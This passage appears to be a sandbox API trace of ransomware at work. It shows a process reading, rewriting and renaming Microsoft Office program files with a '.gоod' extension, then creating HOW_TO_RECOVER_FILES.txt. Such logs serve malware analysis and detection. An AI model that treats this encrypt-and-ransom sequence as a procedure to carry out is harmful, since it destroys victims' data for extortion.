ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x412b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0172.757] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6223b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6223b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0172.757] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6223b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6223b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0172.757] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0172.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0172.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0172.758] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", lpFilePart=0x0) returned 0x4f [0172.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0172.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml"), fInfoLevelId=0x0, lpFileInformation=0x3543e18 | out: lpFileInformation=0x3543e18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114f5747, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0f)) returned 1 [0172.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0172.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", nBufferLength=0x105, lpBuffer=0x200ecc50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", lpFilePart=0x0) returned 0x4f [0172.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed170) returned 1 [0172.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0172.759] GetFileType (hFile=0x80c) returned 0x1 [0172.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed0e0) returned 1 [0172.759] GetFileType (hFile=0x80c) returned 0x1 [0172.759] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x200ed318 | out: lpFileSizeHigh=0x200ed318*=0x0) returned 0xb0f [0172.759] ReadFile (in: hFile=0x80c, lpBuffer=0x3544c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed248, lpOverlapped=0x0 | out: lpBuffer=0x3544c30*, lpNumberOfBytesRead=0x200ed248*=0xb0f, lpOverlapped=0x0) returned 1 [0175.541] CloseHandle (hObject=0x80c) returned 1 [0175.584] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", nBufferLength=0x105, lpBuffer=0x200ecc50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", lpFilePart=0x0) returned 0x4f [0175.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed170) returned 1 [0175.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0175.586] GetFileType (hFile=0x80c) returned 0x1 [0175.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed0e0) returned 1 [0175.586] GetFileType (hFile=0x80c) returned 0x1 [0175.652] WriteFile (in: hFile=0x80c, lpBuffer=0x3808b88*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x200ed158, lpOverlapped=0x0 | out: lpBuffer=0x3808b88*, lpNumberOfBytesWritten=0x200ed158*=0xb10, lpOverlapped=0x0) returned 1 [0175.652] CloseHandle (hObject=0x80c) returned 1 [0175.653] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml", lpFilePart=0x0) returned 0x4f [0175.653] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml.gоod", lpFilePart=0x0) returned 0x54 [0175.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0175.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114f5747, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x64e9a444, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb10)) returned 1 [0175.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0175.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml.gоod")) returned 1 [0175.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", lpFilePart=0x0) returned 0x3e [0175.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0175.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), fInfoLevelId=0x0, lpFileInformation=0x3809ea8 | out: lpFileInformation=0x3809ea8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa6d5947, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb260)) returned 1 [0175.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0175.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", lpFilePart=0x0) returned 0x3e [0175.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0175.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0175.656] GetFileType (hFile=0x80c) returned 0x1 [0175.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0175.656] GetFileType (hFile=0x80c) returned 0x1 [0175.657] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0175.657] ReadFile (in: hFile=0x80c, lpBuffer=0x380a2a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x380a2a0*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0175.658] CloseHandle (hObject=0x80c) returned 1 [0175.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", lpFilePart=0x0) returned 0x3e [0175.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0175.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0175.658] GetFileType (hFile=0x80c) returned 0x1 [0175.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0175.658] GetFileType (hFile=0x80c) returned 0x1 [0175.658] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0xb260 [0175.658] WriteFile (in: hFile=0x80c, lpBuffer=0x380b528*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x380b528*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0175.658] CloseHandle (hObject=0x80c) returned 1 [0175.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", lpFilePart=0x0) returned 0x3e [0175.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0175.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0175.659] GetFileType (hFile=0x80c) returned 0x1 [0175.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0175.659] GetFileType (hFile=0x80c) returned 0x1 [0175.659] ReadFile (in: hFile=0x80c, lpBuffer=0x380d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x380d7d8*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0177.342] CloseHandle (hObject=0x80c) returned 1 [0177.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", lpFilePart=0x0) returned 0x3e [0177.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0177.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0177.343] GetFileType (hFile=0x80c) returned 0x1 [0177.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0177.343] GetFileType (hFile=0x80c) returned 0x1 [0177.343] WriteFile (in: hFile=0x80c, lpBuffer=0x3385c08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x3385c08*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0177.343] CloseHandle (hObject=0x80c) returned 1 [0177.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe", lpFilePart=0x0) returned 0x3e [0177.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.gоod", lpFilePart=0x0) returned 0x43 [0177.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0177.343] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x65eb22cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb270)) returned 1 [0177.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0177.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.gоod")) returned 1 [0177.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config", lpFilePart=0x0) returned 0x45 [0177.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0177.344] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x34d1b60 | out: lpFileInformation=0x34d1b60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5ca8ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5ca8ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb8)) returned 1 [0177.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0177.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config", nBufferLength=0x105, lpBuffer=0x200ecc50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config", lpFilePart=0x0) returned 0x45 [0177.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed170) returned 1 [0177.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0177.345] GetFileType (hFile=0x80c) returned 0x1 [0177.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed0e0) returned 1 [0177.345] GetFileType (hFile=0x80c) returned 0x1 [0177.345] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x200ed318 | out: lpFileSizeHigh=0x200ed318*=0x0) returned 0xb8 [0177.345] ReadFile (in: hFile=0x80c, lpBuffer=0x34d1ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed248, lpOverlapped=0x0 | out: lpBuffer=0x34d1ee0*, lpNumberOfBytesRead=0x200ed248*=0xb8, lpOverlapped=0x0) returned 1 [0177.777] CloseHandle (hObject=0x80c) returned 1 [0177.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config", nBufferLength=0x105, lpBuffer=0x200ecc50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config", lpFilePart=0x0) returned 0x45 [0177.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed170) returned 1 [0177.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0177.894] GetFileType (hFile=0x80c) returned 0x1 [0177.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed0e0) returned 1 [0177.894] GetFileType (hFile=0x80c) returned 0x1 [0177.894] WriteFile (in: hFile=0x80c, lpBuffer=0x351c920*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x200ed158, lpOverlapped=0x0 | out: lpBuffer=0x351c920*, lpNumberOfBytesWritten=0x200ed158*=0xc0, lpOverlapped=0x0) returned 1 [0177.895] CloseHandle (hObject=0x80c) returned 1 [0177.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config", lpFilePart=0x0) returned 0x45 [0177.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config.gоod", lpFilePart=0x0) returned 0x4a [0177.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0177.896] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5ca8ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5ca8ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x663ed9cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0177.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0177.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config.gоod" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config.gоod")) returned 1 [0177.897] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x200ecf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0177.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed480) returned 1 [0177.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0178.093] GetFileType (hFile=0x6e0) returned 0x1 [0178.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed3f0) returned 1 [0178.093] GetFileType (hFile=0x6e0) returned 0x1 [0178.970] WriteFile (in: hFile=0x6e0, lpBuffer=0x3486fd0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x200ed548, lpOverlapped=0x0 | out: lpBuffer=0x3486fd0*, lpNumberOfBytesWritten=0x200ed548*=0x5d0, lpOverlapped=0x0) returned 1 [0178.971] CloseHandle (hObject=0x6e0) returned 1 [0178.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0178.972] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery", lpFilePart=0x0) returned 0x31 [0178.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.972] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.973] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0178.973] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0178.973] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0178.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0178.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0178.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0178.973] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Stationery", lpFilePart=0x0) returned 0x31 [0178.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0178.974] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.974] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, 